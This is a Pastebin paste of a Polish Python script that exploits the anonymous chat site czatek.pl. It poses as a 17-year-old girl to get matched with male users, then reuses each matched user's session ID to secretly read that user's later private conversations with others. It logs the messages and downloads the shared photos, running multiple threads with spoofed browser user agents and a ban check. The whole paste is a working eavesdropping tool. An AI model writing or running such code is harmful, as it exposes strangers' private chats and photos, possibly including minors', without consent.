kapko

Untitled

Nov 23rd, 2017
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.50 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. """
  3. Python 3, testowane na wersjach 3.2.3 i 3.4.3.
  4. Zależności: moduł 'requests' (pip install requests).
  5.  
  6. Changelog:
  7. 2.0.4: porządki w kodzie
  8. 2.0.3: opcja wypisywania odnośnika do zapisu chata w terminalu
  9. przy każdej wiadomości (CONFIG['print_chat_uri'])
  10. 2.0.2: poprawne zamykanie rozmowy po inicie z sebkami,
  11. których już śledzimy
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18. """
  19. VER = '2.0.4'
  20.  
  21.  
  22. import json
  23. import time
  24. import os.path
  25. import random
  26. import shutil
  27. import string
  28. import re
  29. import threading
  30.  
  31. import requests
  32.  
  33.  
  34. CONFIG = {
  35. # -- "SKONFIGURUJ TO KURWO" SECTION
  36. 'threads': {
  37. # ACHTUNG! PRZESADA GROZI MANEM.
  38. # Liczba wątków. Każdy wątek = 1 sebek, każdy sebek = kilka rozmów.
  39. 'count': 4,
  40. # ACHTUNG! PRZESADA GROZI MANEM.
  41. # Opóznienie startu kolejnych wątkow w sekundach.
  42. 'start_delay': 12
  43. },
  44. # ACHTUNG! PRZESADA GROZI MANEM.
  45. # Opóźnienie pomiędzy zapytaniami o nowe wiadomości/zdarzenia w sekundach.
  46. 'request_delay': 1,
  47. # Czas bez wiadomości u sebka po którm zostanie porzucony w sekundach.
  48. 'activity_threshold': 60,
  49. 'boot_data': [
  50. {
  51. 'type': 'boot',
  52. 'lang': 'pl'
  53. },
  54. {
  55. 'type': 'start',
  56. 'prefs': {
  57. # Kogo szukamy.
  58. 'me': {
  59. 'gender': 'f',
  60. 'age': 17
  61. },
  62. # Kogo szuka ten, którego my szukamy
  63. 'them': {
  64. 'gender': 'm',
  65. 'age': 18,
  66. 'loc': 'śląskie'
  67. },
  68. 'color': 'dark'
  69. }
  70. }
  71. ],
  72. # Wypisywanie odnośnika do rozmowy przy każdej wiadomości.
  73. # Przydatne dla posiadaczy emulatora terminala z klikalnymi linkami.
  74. 'print_chat_uri': True,
  75. # Nazwy katalogów ze zdjęciami i zapisami rozmów (tworzone automatycznie).
  76. 'directories': {
  77. 'photos': 'photos',
  78. 'chats': 'chats'
  79. },
  80.  
  81. # -- KUC SECTION
  82. 'request_headers': {
  83. 'User-Agent': random.choice([
  84. 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)',
  85. ('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; '
  86. 'Intel Mac OS X 10_7_3; Trident/6.0)'),
  87. ('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; '
  88. 'GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)'),
  89. 'Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11',
  90. ('Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2'
  91. '(KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2'),
  92. ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13'
  93. 'KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13'),
  94. ('Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 '
  95. '(KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11'),
  96. ('Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1)'
  97. 'Gecko/20121011 Firefox/16.0.1'),
  98. ('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 '
  99. '(KHTML like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25'),
  100. ('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 '
  101. '(KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 ')
  102. ])
  103. },
  104.  
  105. # -- INNE
  106.  
  107. 'base_url': 'http://czatek.pl',
  108. 'sync_path': '/sync',
  109. 'uid': {
  110. 'symbols': string.digits + string.ascii_lowercase[:6],
  111. 'separator': '-',
  112. 'segment_lengths': [8, 4, 4, 4, 12]
  113. },
  114. 'photo_url_regex': '^\/\w+\/(\w+)(?:\?key=\w+)?$',
  115.  
  116. }
  117.  
  118. SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
  119. THREAD_LOCAL_DATA = threading.local()
  120. JSON_EMPTY = '[]'
  121. SEBKI = set()
  122. TIME_DIFF = None
  123.  
  124. MESSAGES = {
  125. 'init': '-- [WYKOP.PL] CZATEK {version}: ELEKTRYCZNE BOOGALOO --',
  126. 'directory_created': 'Katalog "{directory}" utworzon\'d',
  127. 'probably_banned': ('Jest możliwe, że zostałeś zbanowany. '
  128. 'Jeżeli się to potwierdzi, prosimy o pilny kontakt '
  129. 'poprzez adres [email protected]'),
  130. 'banned': ('Zostałeś zbanowany. Prosimy o pilny kontakt poprzez adres '
  131. 'found_sebek': 'Znalezion\'d sebek {sebek_uid}',
  132. 'sebek_dropped': ('Sebek {sebek_uid} over and out. '
  133. 'Wznawiam polowanie, rucham psa jak sra.'),
  134. 'saving_photo': 'Zapisuje zdjecie: {full_path}'
  135. }
  136.  
  137. TEMPLATES = {
  138. 'message': '{sender_label} -> {receiver_label}: {content}',
  139. 'local_uri': 'file://{base_dir}/',
  140. 'chat_path': '{chats_dir}/{chat_id}.html',
  141. 'chat_photo': '<img src=\'../{filename}\' width=\'640px\'>',
  142. 'chat_entry': '{prefix}<p><strong>{party_label}</strong>: {content}</p>',
  143. 'photo_path': '{photos_dir}/{chat_id}-{filename}.jpg',
  144. 'thread_label': '[{thread_name}]'
  145. }
  146.  
  147. FRAGMENTS = {
  148. 'sebek_label': '(SEBEK)',
  149. 'photo_placeholder': '[ZDJECIE]',
  150. 'party_labels': {
  151. 'sebek': 'S',
  152. 'other': 'L'
  153. },
  154. 'chat_header': '<html><meta charset=\'utf-8\'>'
  155. }
  156.  
  157.  
  158. def thread_print(msg):
  159. print('{} {}'.format(threading.current_thread().getName(), msg))
  160.  
  161.  
  162. def generate_hexish_string(length):
  163. chars = [random.choice(CONFIG['uid']['symbols']) for _ in range(length)]
  164. return ''.join(chars)
  165.  
  166.  
  167. def generate_random_uid():
  168. segments = [generate_hexish_string(n)
  169. for n in CONFIG['uid']['segment_lengths']]
  170. return CONFIG['uid']['separator'].join(segments)
  171.  
  172.  
  173. def trim_uid(uid):
  174. return uid.rpartition(':')[0] if ':' in uid else uid
  175.  
  176.  
  177. def shorten_uid(uid):
  178. return uid.rpartition('-')[2]
  179.  
  180.  
  181. def set_time_diff(timestamp_with_ms):
  182. global TIME_DIFF
  183. if TIME_DIFF == None:
  184. TIME_DIFF = time.time() - strip_timestamp_ms(timestamp_with_ms)
  185.  
  186.  
  187. def strip_timestamp_ms(timestamp_with_ms):
  188. return int(timestamp_with_ms / 1000)
  189.  
  190.  
  191. def make_sync_request(uid, data):
  192. return requests.post(CONFIG['base_url'] + CONFIG['sync_path'],
  193. params={'uid': uid, 'last-msg': 0},
  194. headers=CONFIG['request_headers'],
  195. data=data)
  196.  
  197.  
  198.  
  199. def find_sebek():
  200. my_uid = generate_random_uid()
  201.  
  202. init_response = make_sync_request(my_uid, json.dumps(CONFIG['boot_data']))
  203. if init_response.status_code == 403:
  204. print(MESSAGES['banned'])
  205. return -1
  206.  
  207. sebek_response = make_sync_request(my_uid, JSON_EMPTY)
  208. if not sebek_response or sebek_response.text == JSON_EMPTY:
  209. print(MESSAGES['probably_banned'])
  210. return None
  211.  
  212. close_data = [{'type': 'shutdown', 'from': my_uid}]
  213. make_sync_request(my_uid, json.dumps(close_data))
  214.  
  215. sebek_data = sebek_response.json()[0]
  216. sebek_uid = trim_uid(sebek_data['from'])
  217. set_time_diff(sebek_data['ts'])
  218. if sebek_uid in SEBKI:
  219. return None
  220. SEBKI.add(sebek_uid)
  221. THREAD_LOCAL_DATA.last_message_timestamp = sebek_data['ts']
  222. thread_print(MESSAGES['found_sebek'].format(sebek_uid=sebek_uid))
  223.  
  224. return sebek_uid
  225.  
  226.  
  227. def eavesdrop_sebek(uid):
  228. while True:
  229. sync_response = make_sync_request(uid, JSON_EMPTY)
  230. try:
  231. handle_sync(uid, sync_response.json())
  232. except ValueError:
  233. print(MESSAGES['probably_banned'])
  234. break
  235.  
  236. if time_to_drop_sebek():
  237. thread_print(MESSAGES['sebek_dropped'].format(sebek_uid=uid))
  238. SEBKI.remove(uid)
  239. break
  240. time.sleep(CONFIG['request_delay'])
  241.  
  242.  
  243. def time_to_drop_sebek():
  244. stripped_last_message_timestamp = \
  245. strip_timestamp_ms(THREAD_LOCAL_DATA.last_message_timestamp)
  246. synced_last_message_timestamp = stripped_last_message_timestamp + \
  247. TIME_DIFF
  248. seconds_since_last_message = time.time() - synced_last_message_timestamp
  249. return seconds_since_last_message > CONFIG['activity_threshold']
  250.  
  251.  
  252. def handle_sync(sebek_uid, sync_data_container):
  253. if not sync_data_container or sync_data_container == JSON_EMPTY:
  254. return -1
  255.  
  256. sync_data = sync_data_container[0]
  257. if sync_data['type'] == 'msg':
  258. if sync_data['ts'] <= THREAD_LOCAL_DATA.last_message_timestamp:
  259. return 0
  260.  
  261. sender_uid = trim_uid(sync_data['from'])
  262. receiver_uid = trim_uid(sync_data['to'])
  263. if sender_uid == sebek_uid:
  264. sender_label = FRAGMENTS['sebek_label']
  265. receiver_label = shorten_uid(receiver_uid)
  266. else:
  267. sender_label = shorten_uid(sender_uid)
  268. receiver_label = FRAGMENTS['sebek_label']
  269. content = (sync_data['content'] if not sync_data['img']
  270. else FRAGMENTS['photo_placeholder'])
  271. output = TEMPLATES['message'].format(sender_label=sender_label,
  272. receiver_label=receiver_label,
  273. content=content)
  274. short_uids = [shorten_uid(uid) for uid in [sender_uid, receiver_uid]]
  275. chat_id = '-'.join(sorted(short_uids))
  276.  
  277. if CONFIG['print_chat_uri']:
  278. chat_uri = TEMPLATES['local_uri'].format(base_dir=SCRIPT_DIR)
  279. chats_dir = CONFIG['directories']['chats']
  280. chat_uri += TEMPLATES['chat_path'].format(chats_dir=chats_dir,
  281. chat_id=chat_id)
  282. output = ' '.join([chat_uri, output])
  283.  
  284. thread_print(output)
  285.  
  286. photo_filename = None
  287. if sync_data['img']:
  288. photo_filename = download_photo(chat_id, sync_data['img'])
  289. save_message(chat_id,
  290. sender_uid == sebek_uid,
  291. sync_data['content'],
  292. photo_filename)
  293.  
  294. THREAD_LOCAL_DATA.last_message_timestamp = sync_data['ts']
  295. return 0
  296. else:
  297. return -1
  298.  
  299.  
  300. def save_message(chat_id, is_sebeks, content, photo_filename):
  301. chats_dir = CONFIG['directories']['chats']
  302. path = TEMPLATES['chat_path'].format(chats_dir=chats_dir, chat_id=chat_id)
  303. grand_opening = FRAGMENTS['chat_header'] if not os.path.isfile(path) else ''
  304. if photo_filename:
  305. content = TEMPLATES['chat_photo'].format(filename=photo_filename)
  306. party_label_name = 'sebek' if is_sebeks else 'other'
  307. party_label = FRAGMENTS['party_labels'][party_label_name]
  308. with open(path, 'a+') as out:
  309. out.write(TEMPLATES['chat_entry'].format(prefix=grand_opening,
  310. party_label=party_label,
  311. content=content))
  312.  
  313.  
  314. def download_photo(chat_id, path):
  315. photos_dir = CONFIG['directories']['photos']
  316. full_path = CONFIG['base_url'] + path
  317. photo_response = requests.get(full_path,
  318. stream=True,
  319. headers=CONFIG['request_headers'])
  320. matcher = re.search(CONFIG['photo_url_regex'], path)
  321. photo_file_path = TEMPLATES['photo_path'].format(photos_dir=photos_dir,
  322. chat_id=chat_id,
  323. filename=matcher.group(1))
  324. thread_print(MESSAGES['saving_photo'].format(full_path=photo_file_path))
  325. with open(photo_file_path, 'wb') as out:
  326. shutil.copyfileobj(photo_response.raw, out)
  327. del photo_response
  328.  
  329. return photo_file_path
  330.  
  331.  
  332. def do_work():
  333. THREAD_LOCAL_DATA.last_message_timestamp = 0
  334. while True:
  335. sebek_uid = find_sebek()
  336. if sebek_uid and sebek_uid != -1:
  337. eavesdrop_sebek(sebek_uid)
  338.  
  339.  
  340. def initialize_directories():
  341. for directory in CONFIG['directories'].values():
  342. if os.path.isfile(directory):
  343. os.remove(directory)
  344. if not os.path.exists(directory):
  345. os.mkdir(directory)
  346. thread_print(MESSAGES['directory_created'].format(
  347. directory=directory))
  348.  
  349.  
  350. def main():
  351. print(MESSAGES["init"].format(version=VER))
  352. initialize_directories()
  353. for i in range(CONFIG['threads']['count']):
  354. thread_name = TEMPLATES['thread_label'].format(thread_name=i + 1)
  355. thread = threading.Thread(name=thread_name, target=do_work)
  356. thread.daemon = True
  357. thread.start()
  358. time.sleep(CONFIG['threads']['start_delay'])
  359. while True:
  360. time.sleep(1)
  361.  
  362.  
  363. if __name__ == '__main__':
  364. main()
Advertisement
Add Comment
Please, Sign In to add comment